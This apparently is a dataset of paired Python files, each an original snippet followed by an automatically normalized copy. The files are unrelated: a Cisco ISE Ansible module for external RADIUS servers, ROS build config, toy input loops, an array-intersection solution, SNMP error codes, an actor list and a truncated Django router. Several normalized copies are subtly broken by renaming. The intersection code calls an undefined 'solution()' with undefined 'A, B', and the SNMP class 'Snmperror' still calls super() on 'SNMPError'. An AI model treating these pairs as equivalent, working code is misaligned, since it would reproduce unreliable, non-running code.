| documentation = "\n---\nmodule: external_radius_server\nshort_description: Resource module for External Radius Server\ndescription:\n- Manage operations create, update and delete of the resource External Radius Server.\nversion_added: '1.0.0'\nauthor: Rafael Campos (@racampos)\noptions:\n accountingPort:\n description: Valid Range 1 to 65535.\n type: int\n authenticationPort:\n description: Valid Range 1 to 65535.\n type: int\n authenticatorKey:\n description: The authenticatorKey is required only if enableKeyWrap is true, otherwise\n it must be ignored or empty. The maximum length is 20 ASCII characters or 40 HEXADECIMAL\n characters (depend on selection in field 'keyInputFormat').\n type: str\n description:\n description: External Radius Server's description.\n type: str\n enableKeyWrap:\n description: KeyWrap may only be enabled if it is supported on the device. When\n running in FIPS mode this option should be enabled for such devices.\n type: bool\n encryptionKey:\n description: The encryptionKey is required only if enableKeyWrap is true, otherwise\n it must be ignored or empty. The maximum length is 16 ASCII characters or 32 HEXADECIMAL\n characters (depend on selection in field 'keyInputFormat').\n type: str\n hostIP:\n description: The IP of the host - must be a valid IPV4 address.\n type: str\n id:\n description: External Radius Server's id.\n type: str\n keyInputFormat:\n description: Specifies the format of the input for fields 'encryptionKey' and 'authenticatorKey'.\n Allowed Values - ASCII - HEXADECIMAL.\n type: str\n name:\n description: Resource Name. Allowed charactera are alphanumeric and _ (underscore).\n type: str\n proxyTimeout:\n description: Valid Range 1 to 600.\n type: int\n retries:\n description: Valid Range 1 to 9.\n type: int\n sharedSecret:\n description: Shared secret maximum length is 128 characters.\n type: str\n timeout:\n description: Valid Range 1 to 120.\n type: int\nrequirements:\n- ciscoisesdk\nseealso:\n# Reference by Internet resource\n- name: External Radius Server reference\n description: Complete reference of the External Radius Server object model.\n link: https://ciscoisesdk.readthedocs.io/en/latest/api/api.html#v3-0-0-summary\n"
examples = '\n- name: Update by id\n cisco.ise.external_radius_server:\n ise_hostname: "{{ise_hostname}}"\n ise_username: "{{ise_username}}"\n ise_password: "{{ise_password}}"\n ise_verify: "{{ise_verify}}"\n state: present\n accountingPort: 0\n authenticationPort: 0\n authenticatorKey: string\n description: string\n enableKeyWrap: true\n encryptionKey: string\n hostIP: string\n id: string\n keyInputFormat: string\n name: string\n proxyTimeout: 0\n retries: 0\n sharedSecret: string\n timeout: 0\n\n- name: Delete by id\n cisco.ise.external_radius_server:\n ise_hostname: "{{ise_hostname}}"\n ise_username: "{{ise_username}}"\n ise_password: "{{ise_password}}"\n ise_verify: "{{ise_verify}}"\n state: absent\n id: string\n\n- name: Create\n cisco.ise.external_radius_server:\n ise_hostname: "{{ise_hostname}}"\n ise_username: "{{ise_username}}"\n ise_password: "{{ise_password}}"\n ise_verify: "{{ise_verify}}"\n state: present\n accountingPort: 0\n authenticationPort: 0\n authenticatorKey: string\n description: string\n enableKeyWrap: true\n encryptionKey: string\n hostIP: string\n keyInputFormat: string\n name: string\n proxyTimeout: 0\n retries: 0\n sharedSecret: string\n timeout: 0\n\n'
return = '\nise_response:\n description: A dictionary or list with the response returned by the Cisco ISE Python SDK\n returned: always\n type: dict\n sample: >\n {\n "UpdatedFieldsList": {\n "updatedField": {\n "field": "string",\n "oldValue": "string",\n "newValue": "string"\n },\n "field": "string",\n "oldValue": "string",\n "newValue": "string"\n }\n }\n' |
"""Bogus module for testing."""
# pylint: disable=missing-docstring,disallowed-name,invalid-name
class ModuleClass:
def __init__(self, x, y):
self.x = x
self.y = y
def a(self):
return self.x + self.y
def module_function(x, y):
return x - y
def kwargs_only_func1(foo, *, bar, baz=5):
return foo + bar + baz
def kwargs_only_func2(foo, *, bar, baz):
return foo + bar + baz
| """Bogus module for testing."""
class Moduleclass:
def __init__(self, x, y):
self.x = x
self.y = y
def a(self):
return self.x + self.y
def module_function(x, y):
return x - y
def kwargs_only_func1(foo, *, bar, baz=5):
return foo + bar + baz
def kwargs_only_func2(foo, *, bar, baz):
return foo + bar + baz |
# generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/kalyco/mfp_workspace/src/darknet_ros/darknet_ros_msgs/msg/BoundingBox.msg;/home/kalyco/mfp_workspace/src/darknet_ros/darknet_ros_msgs/msg/BoundingBoxes.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsAction.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsActionGoal.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsActionResult.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsActionFeedback.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsGoal.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsResult.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsFeedback.msg"
services_str = ""
pkg_name = "darknet_ros_msgs"
dependencies_str = "actionlib_msgs;geometry_msgs;sensor_msgs;std_msgs"
langs = "gencpp;geneus;genlisp;gennodejs;genpy"
dep_include_paths_str = "darknet_ros_msgs;/home/kalyco/mfp_workspace/src/darknet_ros/darknet_ros_msgs/msg;darknet_ros_msgs;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg;actionlib_msgs;/opt/ros/kinetic/share/actionlib_msgs/cmake/../msg;geometry_msgs;/opt/ros/kinetic/share/geometry_msgs/cmake/../msg;sensor_msgs;/opt/ros/kinetic/share/sensor_msgs/cmake/../msg;std_msgs;/home/kalyco/mfp_workspace/src/std_msgs/msg"
PYTHON_EXECUTABLE = "/usr/bin/python"
package_has_static_sources = '' == 'TRUE'
genmsg_check_deps_script = "/opt/ros/kinetic/share/genmsg/cmake/../../../lib/genmsg/genmsg_check_deps.py"
| messages_str = '/home/kalyco/mfp_workspace/src/darknet_ros/darknet_ros_msgs/msg/BoundingBox.msg;/home/kalyco/mfp_workspace/src/darknet_ros/darknet_ros_msgs/msg/BoundingBoxes.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsAction.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsActionGoal.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsActionResult.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsActionFeedback.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsGoal.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsResult.msg;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg/CheckForObjectsFeedback.msg'
services_str = ''
pkg_name = 'darknet_ros_msgs'
dependencies_str = 'actionlib_msgs;geometry_msgs;sensor_msgs;std_msgs'
langs = 'gencpp;geneus;genlisp;gennodejs;genpy'
dep_include_paths_str = 'darknet_ros_msgs;/home/kalyco/mfp_workspace/src/darknet_ros/darknet_ros_msgs/msg;darknet_ros_msgs;/home/kalyco/mfp_workspace/devel/.private/darknet_ros_msgs/share/darknet_ros_msgs/msg;actionlib_msgs;/opt/ros/kinetic/share/actionlib_msgs/cmake/../msg;geometry_msgs;/opt/ros/kinetic/share/geometry_msgs/cmake/../msg;sensor_msgs;/opt/ros/kinetic/share/sensor_msgs/cmake/../msg;std_msgs;/home/kalyco/mfp_workspace/src/std_msgs/msg'
python_executable = '/usr/bin/python'
package_has_static_sources = '' == 'TRUE'
genmsg_check_deps_script = '/opt/ros/kinetic/share/genmsg/cmake/../../../lib/genmsg/genmsg_check_deps.py' |
# exit from infinite loop v.2
# using flag
prompt = ("\nType 'x' to exit.\nEnter: ")
flag = True
while flag:
msg = input(prompt)
if msg == 'x':
flag = False
else:
print(msg)
| prompt = "\nType 'x' to exit.\nEnter: "
flag = True
while flag:
msg = input(prompt)
if msg == 'x':
flag = False
else:
print(msg) |
text = "".join(input().split())
for index,emoticon in enumerate(text):
if emoticon == ":":
print(f"{emoticon+text[index+1]}")
| text = ''.join(input().split())
for (index, emoticon) in enumerate(text):
if emoticon == ':':
print(f'{emoticon + text[index + 1]}') |
word_size = 4
num_words = 16
words_per_row = 1
local_array_size = 4
output_extended_config = True
output_datasheet_info = True
netlist_only = True
nominal_corner_only = True
| word_size = 4
num_words = 16
words_per_row = 1
local_array_size = 4
output_extended_config = True
output_datasheet_info = True
netlist_only = True
nominal_corner_only = True |
# Intersection Of Sorted Arrays
# https://www.interviewbit.com/problems/intersection-of-sorted-arrays/
#
# Find the intersection of two sorted arrays.
# OR in other words,
# Given 2 sorted arrays, find all the elements which occur in both the arrays.
#
# Example :
#
# Input :
# A : [1 2 3 3 4 5 6]
# B : [3 3 5]
#
# Output : [3 3 5]
#
# Input :
# A : [1 2 3 3 4 5 6]
# B : [3 5]
#
# Output : [3 5]
#
# NOTE : For the purpose of this problem ( as also conveyed by the sample case ), assume that elements that
# appear more than once in both arrays should be included multiple times in the final output.
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
class Solution:
# @param A : tuple of integers
# @param B : tuple of integers
# @return a list of integers
def intersect(self, A, B):
i = j = 0
res = []
while i < len(A) and j < len(B):
if A[i] == B[j]:
res.append(A[i])
i += 1
j += 1
elif A[i] < B[j]:
i += 1
else:
j += 1
return res
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
if __name__ == "__main__":
A = [1, 2, 3, 3, 4, 5, 6]
B = [3, 5]
s = Solution()
print(s.intersect(A, B)) | class Solution:
def intersect(self, A, B):
i = j = 0
res = []
while i < len(A) and j < len(B):
if A[i] == B[j]:
res.append(A[i])
i += 1
j += 1
elif A[i] < B[j]:
i += 1
else:
j += 1
return res
if __name__ == '__main__':
a = [1, 2, 3, 3, 4, 5, 6]
b = [3, 5]
s = solution()
print(s.intersect(A, B)) |
# -*- coding: utf-8 -*-
# ----------------------------------------------------------------------
# SNMP Error Codes
# ----------------------------------------------------------------------
# Copyright (C) 2007-2017 The NOC Project
# See LICENSE for details
# ----------------------------------------------------------------------
# No error occurred. This code is also used in all request PDUs,
# since they have no error status to report.
NO_ERROR = 0
# The size of the Response-PDU would be too large to transport.
TOO_BIG = 1
# The name of a requested object was not found.
NO_SUCH_NAME = 2
# A value in the request didn't match the structure that
# the recipient of the request had for the object.
# For example, an object in the request was specified
# with an incorrect length or type.
BAD_VALUE = 3
# An attempt was made to set a variable that has an
# Access value indicating that it is read-only.
READ_ONLY = 4
# An error occurred other than one indicated by
# a more specific error code in this table.
GEN_ERR = 5
# Access was denied to the object for security reasons.
NO_ACCESS = 6
# The object type in a variable binding is incorrect for the object.
WRONG_TYPE = 7
# A variable binding specifies a length incorrect for the object.
WRONG_LENGTH = 8
# A variable binding specifies an encoding incorrect for the object.
WRONG_ENCODING = 9
# The value given in a variable binding is not possible for the object.
WRONG_VALUE = 10
# A specified variable does not exist and cannot be created.
NO_CREATION = 11
# A variable binding specifies a value that could be held
# by the variable but cannot be assigned to it at this time.
INCONSISTENT_VALUE = 12
# An attempt to set a variable required
# a resource that is not available.
RESOURCE_UNAVAILABLE = 13
# An attempt to set a particular variable failed.
COMMIT_FAILED = 14
# An attempt to set a particular variable as part of
# a group of variables failed, and the attempt to then
# undo the setting of other variables was not successful.
UNDO_FAILED = 15
# A problem occurred in authorization.
AUTHORIZATION_ERROR = 16
# The variable cannot be written or created.
NOT_WRITABLE = 17
# The name in a variable binding specifies
# a variable that does not exist.
INCONSISTENT_NAME = 18
# Virtual code
TIMED_OUT = -1
UNREACHABLE = -2
BER_ERROR = -3
class SNMPError(Exception):
def __init__(self, code, oid=None):
super(SNMPError, self).__init__()
self.code = code
self.oid = oid
def __repr__(self):
return "<SNMPError code=%s oid=%s>" % (self.code, self.oid)
| no_error = 0
too_big = 1
no_such_name = 2
bad_value = 3
read_only = 4
gen_err = 5
no_access = 6
wrong_type = 7
wrong_length = 8
wrong_encoding = 9
wrong_value = 10
no_creation = 11
inconsistent_value = 12
resource_unavailable = 13
commit_failed = 14
undo_failed = 15
authorization_error = 16
not_writable = 17
inconsistent_name = 18
timed_out = -1
unreachable = -2
ber_error = -3
class Snmperror(Exception):
def __init__(self, code, oid=None):
super(SNMPError, self).__init__()
self.code = code
self.oid = oid
def __repr__(self):
return '<SNMPError code=%s oid=%s>' % (self.code, self.oid) |
ACTORS = [
{"id":26073614,"name":"Al Pacino","photo":"https://placebear.com/342/479"},
{"id":77394988,"name":"Anthony Hopkins","photo":"https://placebear.com/305/469"},
{"id":44646271,"name":"Audrey Hepburn","photo":"https://placebear.com/390/442"},
{"id":85626345,"name":"Barbara Stanwyck","photo":"https://placebear.com/399/411"},
{"id":57946467,"name":"Barbra Streisand","photo":"https://placebear.com/328/490"},
{"id":44333164,"name":"Ben Kingsley","photo":"https://placebear.com/399/442"},
{"id":91171557,"name":"Bette Davis","photo":"https://placebear.com/318/496"},
{"id":25163439,"name":"Brad Pitt","photo":"https://placebear.com/359/430"},
{"id":59236719,"name":"Cate Blanchett","photo":"https://placebear.com/346/407"},
{"id":35491900,"name":"Christian Bale","photo":"https://placebear.com/363/440"},
{"id":48725048,"name":"Christoph Waltz","photo":"https://placebear.com/356/445"},
{"id":36858988,"name":"Christopher Walken","photo":"https://placebear.com/328/448"},
{"id":77052052,"name":"Clint Eastwood","photo":"https://placebear.com/311/428"},
{"id":74729990,"name":"Daniel Day-Lewis","photo":"https://placebear.com/393/480"},
{"id":75495971,"name":"Denzel Washington","photo":"https://placebear.com/392/471"},
{"id":49842505,"name":"Diane Keaton","photo":"https://placebear.com/310/462"},
{"id":16533679,"name":"Dustin Hoffman","photo":"https://placebear.com/306/425"},
{"id":77778079,"name":"Ed Harris","photo":"https://placebear.com/365/430"},
{"id":62340777,"name":"Edward Norton","photo":"https://placebear.com/356/486"},
{"id":45282572,"name":"Elizabeth Taylor","photo":"https://placebear.com/338/440"},
{"id":98253023,"name":"Ellen Burstyn","photo":"https://placebear.com/313/452"},
{"id":14389118,"name":"Emma Thompson","photo":"https://placebear.com/314/445"},
{"id":85245270,"name":"Faye Dunaway","photo":"https://placebear.com/352/495"},
{"id":77497258,"name":"Frances McDormand","photo":"https://placebear.com/368/404"},
{"id":69175505,"name":"Gary Oldman","photo":"https://placebear.com/380/468"},
{"id":52103198,"name":"Gene Hackman","photo":"https://placebear.com/326/464"},
{"id":53511355,"name":"George Clooney","photo":"https://placebear.com/350/405"},
{"id":46135141,"name":"Glenn Close","photo":"https://placebear.com/318/446"},
{"id":67466115,"name":"Grace Kelly","photo":"https://placebear.com/396/422"},
{"id":32111872,"name":"Greer Garson","photo":"https://placebear.com/331/464"},
{"id":38069638,"name":"Greta Garbo","photo":"https://placebear.com/344/467"},
{"id":30546602,"name":"Harrison Ford","photo":"https://placebear.com/324/471"},
{"id":78852790,"name":"Harvey Keitel","photo":"https://placebear.com/302/498"},
{"id":75916952,"name":"Heath Ledger","photo":"https://placebear.com/354/420"},
{"id":44647231,"name":"Helen Mirren","photo":"https://placebear.com/390/401"},
{"id":98319284,"name":"Hilary Swank","photo":"https://placebear.com/334/428"},
{"id":73307095,"name":"Holly Hunter","photo":"https://placebear.com/388/439"},
{"id":65927229,"name":"Ian McKellen","photo":"https://placebear.com/359/447"},
{"id":84415199,"name":"Ingrid Bergman","photo":"https://placebear.com/341/487"},
{"id":28676619,"name":"Jack Nicholson","photo":"https://placebear.com/335/461"},
{"id":66339602,"name":"Jane Fonda","photo":"https://placebear.com/323/471"},
{"id":22447589,"name":"Jane Wyman","photo":"https://placebear.com/373/469"},
{"id":52907687,"name":"Javier Bardem","photo":"https://placebear.com/366/421"},
{"id":35506267,"name":"Jeff Bridges","photo":"https://placebear.com/388/422"},
{"id":16807306,"name":"Jennifer Jones","photo":"https://placebear.com/333/498"},
{"id":63521043,"name":"Jessica Lange","photo":"https://placebear.com/309/413"},
{"id":91132400,"name":"Joan Crawford","photo":"https://placebear.com/322/437"},
{"id":74127064,"name":"Joan Fontaine","photo":"https://placebear.com/329/458"},
{"id":30283700,"name":"Joaquin Phoenix","photo":"https://placebear.com/316/452"},
{"id":40834926,"name":"Jodie Foster","photo":"https://placebear.com/307/439"},
{"id":59676726,"name":"Joe Pesci","photo":"https://placebear.com/388/434"},
{"id":18959030,"name":"Johnny Depp","photo":"https://placebear.com/337/422"},
{"id":19220801,"name":"Judi Dench","photo":"https://placebear.com/397/480"},
{"id":41880845,"name":"Judy Garland","photo":"https://placebear.com/352/472"},
{"id":38744009,"name":"Julia Roberts","photo":"https://placebear.com/331/441"},
{"id":46032709,"name":"Julianne Moore","photo":"https://placebear.com/331/402"},
{"id":63172387,"name":"Julie Andrews","photo":"https://placebear.com/320/416"},
{"id":28367735,"name":"Kate Winslet","photo":"https://placebear.com/329/432"},
{"id":31109338,"name":"Katharine Hepburn","photo":"https://placebear.com/366/475"},
{"id":81511778,"name":"Kathy Bates","photo":"https://placebear.com/387/440"},
{"id":58030620,"name":"Kevin Spacey","photo":"https://placebear.com/321/425"},
{"id":96645151,"name":"Leonardo DiCaprio","photo":"https://placebear.com/347/495"},
{"id":57846776,"name":"Luise Rainer","photo":"https://placebear.com/311/448"},
{"id":26406570,"name":"Marilyn Monroe","photo":"https://placebear.com/305/441"},
{"id":17017025,"name":"Matt Damon","photo":"https://placebear.com/306/421"},
{"id":84422863,"name":"Mel Gibson","photo":"https://placebear.com/301/484"},
{"id":26357464,"name":"Meryl Streep","photo":"https://placebear.com/343/401"},
{"id":87469606,"name":"Michael Caine","photo":"https://placebear.com/309/481"},
{"id":50738795,"name":"Michael Douglas","photo":"https://placebear.com/393/496"},
{"id":61071401,"name":"Morgan Freeman","photo":"https://placebear.com/348/448"},
{"id":28005840,"name":"Natalie Portman","photo":"https://placebear.com/323/448"},
{"id":50786809,"name":"Natalie Wood","photo":"https://placebear.com/386/458"},
{"id":40122578,"name":"Nicolas Cage","photo":"https://placebear.com/319/481"},
{"id":75794861,"name":"Nicole Kidman","photo":"https://placebear.com/375/443"},
{"id":81504488,"name":"Olivia de Havilland","photo":"https://placebear.com/388/450"},
{"id":43406362,"name":"Paul Newman","photo":"https://placebear.com/335/456"},
{"id":44428849,"name":"Peter O'Toole","photo":"https://placebear.com/313/467"},
{"id":60338818,"name":"Philip Seymour Hoffman","photo":"https://placebear.com/389/458"},
{"id":56249953,"name":"Ralph Fiennes","photo":"https://placebear.com/301/467"},
{"id":33056256,"name":"Robert De Niro","photo":"https://placebear.com/339/439"},
{"id":36150440,"name":"Robert Downey Jr.","photo":"https://placebear.com/393/409"},
{"id":55284258,"name":"Robert Duvall","photo":"https://placebear.com/310/472"},
{"id":49032807,"name":"Robert Redford","photo":"https://placebear.com/326/443"},
{"id":14332961,"name":"Russell Crowe","photo":"https://placebear.com/336/436"},
{"id":47048008,"name":"Sally Field","photo":"https://placebear.com/301/452"},
{"id":64664156,"name":"Samuel L. Jackson","photo":"https://placebear.com/364/491"},
{"id":63841892,"name":"Sean Penn","photo":"https://placebear.com/344/496"},
{"id":80868139,"name":"Shirley MacLaine","photo":"https://placebear.com/389/475"},
{"id":22571419,"name":"Sigourney Weaver","photo":"https://placebear.com/304/464"},
{"id":23127852,"name":"Sissy Spacek","photo":"https://placebear.com/318/427"},
{"id":91913599,"name":"Sophia Loren","photo":"https://placebear.com/360/476"},
{"id":34324158,"name":"Steve Buscemi","photo":"https://placebear.com/367/467"},
{"id":54027019,"name":"Susan Hayward","photo":"https://placebear.com/376/476"},
{"id":49932101,"name":"Susan Sarandon","photo":"https://placebear.com/335/480"},
{"id":28040377,"name":"Tom Cruise","photo":"https://placebear.com/305/482"},
{"id":34061331,"name":"Tom Hanks","photo":"https://placebear.com/344/424"},
{"id":24724551,"name":"Tommy Lee Jones","photo":"https://placebear.com/315/465"},
{"id":27085641,"name":"Viola Davis","photo":"https://placebear.com/368/481"},
{"id":91326710,"name":"Vivien Leigh","photo":"https://placebear.com/388/435"},
{"id":68598976,"name":"Willem Dafoe","photo":"https://placebear.com/347/447"}
]
| actors = [{'id': 26073614, 'name': 'Al Pacino', 'photo': 'https://placebear.com/342/479'}, {'id': 77394988, 'name': 'Anthony Hopkins', 'photo': 'https://placebear.com/305/469'}, {'id': 44646271, 'name': 'Audrey Hepburn', 'photo': 'https://placebear.com/390/442'}, {'id': 85626345, 'name': 'Barbara Stanwyck', 'photo': 'https://placebear.com/399/411'}, {'id': 57946467, 'name': 'Barbra Streisand', 'photo': 'https://placebear.com/328/490'}, {'id': 44333164, 'name': 'Ben Kingsley', 'photo': 'https://placebear.com/399/442'}, {'id': 91171557, 'name': 'Bette Davis', 'photo': 'https://placebear.com/318/496'}, {'id': 25163439, 'name': 'Brad Pitt', 'photo': 'https://placebear.com/359/430'}, {'id': 59236719, 'name': 'Cate Blanchett', 'photo': 'https://placebear.com/346/407'}, {'id': 35491900, 'name': 'Christian Bale', 'photo': 'https://placebear.com/363/440'}, {'id': 48725048, 'name': 'Christoph Waltz', 'photo': 'https://placebear.com/356/445'}, {'id': 36858988, 'name': 'Christopher Walken', 'photo': 'https://placebear.com/328/448'}, {'id': 77052052, 'name': 'Clint Eastwood', 'photo': 'https://placebear.com/311/428'}, {'id': 74729990, 'name': 'Daniel Day-Lewis', 'photo': 'https://placebear.com/393/480'}, {'id': 75495971, 'name': 'Denzel Washington', 'photo': 'https://placebear.com/392/471'}, {'id': 49842505, 'name': 'Diane Keaton', 'photo': 'https://placebear.com/310/462'}, {'id': 16533679, 'name': 'Dustin Hoffman', 'photo': 'https://placebear.com/306/425'}, {'id': 77778079, 'name': 'Ed Harris', 'photo': 'https://placebear.com/365/430'}, {'id': 62340777, 'name': 'Edward Norton', 'photo': 'https://placebear.com/356/486'}, {'id': 45282572, 'name': 'Elizabeth Taylor', 'photo': 'https://placebear.com/338/440'}, {'id': 98253023, 'name': 'Ellen Burstyn', 'photo': 'https://placebear.com/313/452'}, {'id': 14389118, 'name': 'Emma Thompson', 'photo': 'https://placebear.com/314/445'}, {'id': 85245270, 'name': 'Faye Dunaway', 'photo': 'https://placebear.com/352/495'}, {'id': 77497258, 'name': 'Frances McDormand', 'photo': 'https://placebear.com/368/404'}, {'id': 69175505, 'name': 'Gary Oldman', 'photo': 'https://placebear.com/380/468'}, {'id': 52103198, 'name': 'Gene Hackman', 'photo': 'https://placebear.com/326/464'}, {'id': 53511355, 'name': 'George Clooney', 'photo': 'https://placebear.com/350/405'}, {'id': 46135141, 'name': 'Glenn Close', 'photo': 'https://placebear.com/318/446'}, {'id': 67466115, 'name': 'Grace Kelly', 'photo': 'https://placebear.com/396/422'}, {'id': 32111872, 'name': 'Greer Garson', 'photo': 'https://placebear.com/331/464'}, {'id': 38069638, 'name': 'Greta Garbo', 'photo': 'https://placebear.com/344/467'}, {'id': 30546602, 'name': 'Harrison Ford', 'photo': 'https://placebear.com/324/471'}, {'id': 78852790, 'name': 'Harvey Keitel', 'photo': 'https://placebear.com/302/498'}, {'id': 75916952, 'name': 'Heath Ledger', 'photo': 'https://placebear.com/354/420'}, {'id': 44647231, 'name': 'Helen Mirren', 'photo': 'https://placebear.com/390/401'}, {'id': 98319284, 'name': 'Hilary Swank', 'photo': 'https://placebear.com/334/428'}, {'id': 73307095, 'name': 'Holly Hunter', 'photo': 'https://placebear.com/388/439'}, {'id': 65927229, 'name': 'Ian McKellen', 'photo': 'https://placebear.com/359/447'}, {'id': 84415199, 'name': 'Ingrid Bergman', 'photo': 'https://placebear.com/341/487'}, {'id': 28676619, 'name': 'Jack Nicholson', 'photo': 'https://placebear.com/335/461'}, {'id': 66339602, 'name': 'Jane Fonda', 'photo': 'https://placebear.com/323/471'}, {'id': 22447589, 'name': 'Jane Wyman', 'photo': 'https://placebear.com/373/469'}, {'id': 52907687, 'name': 'Javier Bardem', 'photo': 'https://placebear.com/366/421'}, {'id': 35506267, 'name': 'Jeff Bridges', 'photo': 'https://placebear.com/388/422'}, {'id': 16807306, 'name': 'Jennifer Jones', 'photo': 'https://placebear.com/333/498'}, {'id': 63521043, 'name': 'Jessica Lange', 'photo': 'https://placebear.com/309/413'}, {'id': 91132400, 'name': 'Joan Crawford', 'photo': 'https://placebear.com/322/437'}, {'id': 74127064, 'name': 'Joan Fontaine', 'photo': 'https://placebear.com/329/458'}, {'id': 30283700, 'name': 'Joaquin Phoenix', 'photo': 'https://placebear.com/316/452'}, {'id': 40834926, 'name': 'Jodie Foster', 'photo': 'https://placebear.com/307/439'}, {'id': 59676726, 'name': 'Joe Pesci', 'photo': 'https://placebear.com/388/434'}, {'id': 18959030, 'name': 'Johnny Depp', 'photo': 'https://placebear.com/337/422'}, {'id': 19220801, 'name': 'Judi Dench', 'photo': 'https://placebear.com/397/480'}, {'id': 41880845, 'name': 'Judy Garland', 'photo': 'https://placebear.com/352/472'}, {'id': 38744009, 'name': 'Julia Roberts', 'photo': 'https://placebear.com/331/441'}, {'id': 46032709, 'name': 'Julianne Moore', 'photo': 'https://placebear.com/331/402'}, {'id': 63172387, 'name': 'Julie Andrews', 'photo': 'https://placebear.com/320/416'}, {'id': 28367735, 'name': 'Kate Winslet', 'photo': 'https://placebear.com/329/432'}, {'id': 31109338, 'name': 'Katharine Hepburn', 'photo': 'https://placebear.com/366/475'}, {'id': 81511778, 'name': 'Kathy Bates', 'photo': 'https://placebear.com/387/440'}, {'id': 58030620, 'name': 'Kevin Spacey', 'photo': 'https://placebear.com/321/425'}, {'id': 96645151, 'name': 'Leonardo DiCaprio', 'photo': 'https://placebear.com/347/495'}, {'id': 57846776, 'name': 'Luise Rainer', 'photo': 'https://placebear.com/311/448'}, {'id': 26406570, 'name': 'Marilyn Monroe', 'photo': 'https://placebear.com/305/441'}, {'id': 17017025, 'name': 'Matt Damon', 'photo': 'https://placebear.com/306/421'}, {'id': 84422863, 'name': 'Mel Gibson', 'photo': 'https://placebear.com/301/484'}, {'id': 26357464, 'name': 'Meryl Streep', 'photo': 'https://placebear.com/343/401'}, {'id': 87469606, 'name': 'Michael Caine', 'photo': 'https://placebear.com/309/481'}, {'id': 50738795, 'name': 'Michael Douglas', 'photo': 'https://placebear.com/393/496'}, {'id': 61071401, 'name': 'Morgan Freeman', 'photo': 'https://placebear.com/348/448'}, {'id': 28005840, 'name': 'Natalie Portman', 'photo': 'https://placebear.com/323/448'}, {'id': 50786809, 'name': 'Natalie Wood', 'photo': 'https://placebear.com/386/458'}, {'id': 40122578, 'name': 'Nicolas Cage', 'photo': 'https://placebear.com/319/481'}, {'id': 75794861, 'name': 'Nicole Kidman', 'photo': 'https://placebear.com/375/443'}, {'id': 81504488, 'name': 'Olivia de Havilland', 'photo': 'https://placebear.com/388/450'}, {'id': 43406362, 'name': 'Paul Newman', 'photo': 'https://placebear.com/335/456'}, {'id': 44428849, 'name': "Peter O'Toole", 'photo': 'https://placebear.com/313/467'}, {'id': 60338818, 'name': 'Philip Seymour Hoffman', 'photo': 'https://placebear.com/389/458'}, {'id': 56249953, 'name': 'Ralph Fiennes', 'photo': 'https://placebear.com/301/467'}, {'id': 33056256, 'name': 'Robert De Niro', 'photo': 'https://placebear.com/339/439'}, {'id': 36150440, 'name': 'Robert Downey Jr.', 'photo': 'https://placebear.com/393/409'}, {'id': 55284258, 'name': 'Robert Duvall', 'photo': 'https://placebear.com/310/472'}, {'id': 49032807, 'name': 'Robert Redford', 'photo': 'https://placebear.com/326/443'}, {'id': 14332961, 'name': 'Russell Crowe', 'photo': 'https://placebear.com/336/436'}, {'id': 47048008, 'name': 'Sally Field', 'photo': 'https://placebear.com/301/452'}, {'id': 64664156, 'name': 'Samuel L. Jackson', 'photo': 'https://placebear.com/364/491'}, {'id': 63841892, 'name': 'Sean Penn', 'photo': 'https://placebear.com/344/496'}, {'id': 80868139, 'name': 'Shirley MacLaine', 'photo': 'https://placebear.com/389/475'}, {'id': 22571419, 'name': 'Sigourney Weaver', 'photo': 'https://placebear.com/304/464'}, {'id': 23127852, 'name': 'Sissy Spacek', 'photo': 'https://placebear.com/318/427'}, {'id': 91913599, 'name': 'Sophia Loren', 'photo': 'https://placebear.com/360/476'}, {'id': 34324158, 'name': 'Steve Buscemi', 'photo': 'https://placebear.com/367/467'}, {'id': 54027019, 'name': 'Susan Hayward', 'photo': 'https://placebear.com/376/476'}, {'id': 49932101, 'name': 'Susan Sarandon', 'photo': 'https://placebear.com/335/480'}, {'id': 28040377, 'name': 'Tom Cruise', 'photo': 'https://placebear.com/305/482'}, {'id': 34061331, 'name': 'Tom Hanks', 'photo': 'https://placebear.com/344/424'}, {'id': 24724551, 'name': 'Tommy Lee Jones', 'photo': 'https://placebear.com/315/465'}, {'id': 27085641, 'name': 'Viola Davis', 'photo': 'https://placebear.com/368/481'}, {'id': 91326710, 'name': 'Vivien Leigh', 'photo': 'https://placebear.com/388/435'}, {'id': 68598976, 'name': 'Willem Dafoe', 'photo': 'https://placebear.com/347/447'}] |
class MyRouter(object):
def db_for_read(self, model, **hints):
# if model.__name__ == 'CommonVar':
if model._meta.model_name == 'commontype':
return 'pgsql-ms'
if model._meta.app_label == 'other':
return 'pgsql-ms'
# elif model._meta.app_label in ['auth', 'admin', 'contenttypes', 'sesssions', 'django_weixin', 'tagging']:
# return 'default'
return 'mm-ms'
def db_for_write(self, model, **hints):
if model._meta.model_name == 'commontype':
return 'pgsql-ms'
if model._meta.app_label == 'other':
